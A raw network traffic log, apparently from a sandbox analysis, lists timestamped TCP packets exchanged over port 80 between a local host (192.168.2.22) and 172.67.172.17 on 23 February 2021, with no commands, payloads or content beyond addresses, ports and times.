Feb 23, 2021 16:55:36.456178904 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.456187963 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.456187963 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456239939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456290960 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456346035 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456391096 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.456394911 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.456403971 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456466913 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456522942 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456583023 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456634998 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456680059 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.456684113 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.456690073 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456742048 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456798077 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456854105 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456906080 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.456957102 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457011938 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457016945 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457017899 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457072020 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457128048 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457178116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457231045 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457287073 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457312107 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457315922 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457344055 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457453966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457509995 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457514048 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457560062 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457611084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457644939 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457667112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457685947 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457725048 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457777977 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457828045 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457871914 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457876921 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.457886934 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457943916 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.457997084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458017111 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458050013 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458100080 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458157063 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458189964 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458219051 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458267927 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458328009 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458374977 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458379030 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458386898 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458442926 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458492994 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458544016 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458600998 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458652973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458671093 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458678007 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458714008 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458761930 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458774090 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458827972 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458877087 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458935976 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458981991 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.458986998 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.458990097 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.459032059 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459086895 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459142923 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459162951 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.459199905 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459254026 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459304094 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459356070 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459372997 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.459408998 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459460974 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459496021 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.459517956 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459570885 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459625959 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459680080 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459729910 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459777117 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.459779978 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459783077 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.459832907 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459882021 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459928036 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.459933043 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.459995031 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460028887 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460040092 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460064888 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460098982 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460131884 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460163116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460166931 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460170984 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460191965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460222006 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460253000 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460285902 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460318089 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460319042 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460325003 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460349083 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460380077 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460410118 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460439920 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460469007 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460499048 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460500956 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460505009 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460536003 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460571051 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460602045 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460632086 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460633993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460665941 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460696936 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460706949 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460922956 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460958004 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.460971117 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.460992098 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461024046 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461045980 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461055994 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461087942 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461117983 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461149931 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461153984 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461158991 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461184025 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461219072 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461251020 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461260080 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461281061 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461313009 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461324930 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461344004 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461374044 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461422920 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461436987 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461860895 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461894989 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461925030 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461956978 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.461960077 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461967945 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.461988926 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462019920 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462052107 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462078094 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462081909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462117910 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462151051 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462152958 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462158918 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462182999 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462214947 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462248087 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462281942 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462285042 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462289095 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462315083 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462347031 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462371111 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462762117 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462795973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462829113 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462862015 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462893009 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462902069 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462905884 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.462925911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462956905 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462992907 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.462994099 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.463027954 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463059902 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463092089 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463123083 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463129044 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.463165045 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463196993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463242054 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463272095 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463305950 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.463310003 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.463752031 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463793993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463823080 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463861942 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463892937 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.463897943 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.463905096 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:36.463917017 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:36.464078903 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.280277967 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.329109907 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.329449892 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.330288887 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.378314972 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417587996 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417638063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417681932 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417711973 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417761087 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417763948 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.417792082 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.417808056 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417854071 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417912006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.417953968 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.418015957 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.418200970 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.418771982 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.418824911 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.419006109 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.419971943 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.420022964 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.420171022 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.421078920 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.421133041 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.421371937 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.422231913 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.422287941 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.422492027 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.423099041 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.423378944 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.423424959 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.424540043 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.424602032 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.424657106 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.424730062 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.425666094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.425725937 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.425878048 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.426819086 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.426853895 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.427359104 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.427983999 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.428023100 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.428141117 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.429213047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.429249048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.429431915 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.465487957 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.465547085 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.465789080 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.465909004 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.465967894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.466059923 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.467081070 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.467128038 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.468245029 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.468298912 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.468875885 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.469347954 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.469400883 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.469508886 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.470521927 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.470557928 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.470755100 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.471685886 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.471824884 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.472493887 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.472821951 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.472858906 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.472982883 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.473963976 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.474071980 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.474216938 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.475169897 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.475205898 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.475420952 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.476269960 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.476305008 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.476736069 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.477473974 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.477508068 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.478490114 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.478606939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.478641987 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.478724957 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.479737997 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.479774952 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.479856968 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.480886936 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.480922937 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.481234074 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.482042074 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.482088089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.482213974 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.483205080 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.483238935 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.483347893 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.484397888 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.484441996 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.484628916 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.485488892 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.485523939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.485646963 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.486653090 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.486690998 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.486768961 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.487848997 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.487898111 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.488061905 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.488964081 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.489017963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.489171028 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.490163088 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.490199089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.490392923 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.491327047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.491380930 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.491512060 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.513114929 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.513176918 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.513412952 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.513542891 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.513598919 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.513725042 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.516019106 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.516058922 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.516139984 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.516515017 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.516549110 CET	80	49169	172.67.172.17	192.168.2.22
